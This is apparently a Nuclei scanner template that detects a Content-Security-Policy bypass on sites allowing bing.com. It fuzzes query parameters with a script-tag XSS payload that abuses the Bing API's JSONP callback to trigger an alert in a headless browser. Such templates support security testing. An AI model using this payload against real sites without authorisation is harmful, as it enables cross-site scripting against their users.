id: bing-api-csp-bypass

info:
  name: Content-Security-Policy Bypass - Bing API
  author: renniepak,DhiyaneshDK
  severity: medium
  reference:
    - https://github.com/renniepak/CSPBypass/blob/main/data.tsv
  metadata:
    verified: true
  tags: xss,csp-bypass,bing-api

flow: http(1) && headless(1)

http:
  - method: GET
    path:
      - "{{BaseURL}}"

    matchers:
      - type: word
        part: header
        words:
          - "Content-Security-Policy"
          - "bing.com"
        condition: and
        internal: true

headless:
  - steps:
      - action: navigate
        args:
          url: "{{BaseURL}}"

      - action: waitdialog
        name: bing_api_csp_xss
        args:
          max-duration: 5s

    payloads:
      injection:
        - '<script src="https://api.bing.com/osjson.aspx?query=x&JsonType=callback&JsonCallback=alert"></script>'

    fuzzing:
      - part: query
        type: replace
        mode: single
        fuzz:
          - "{{url_encode(injection)}}"

    matchers:
      - type: dsl
        dsl:
          - "bing_api_csp_xss == true"
# digest: 4a0a00473045022100aaf9a5bec9d934978363de7ec9005b5ffcc0d5517de37bf12313667a0da5459f022013bb9bc88c0b3c6fd8cd8f076c5707b46296d05a186d83efc72d48d199955352:922c64590222798bb761d5b6d8e72950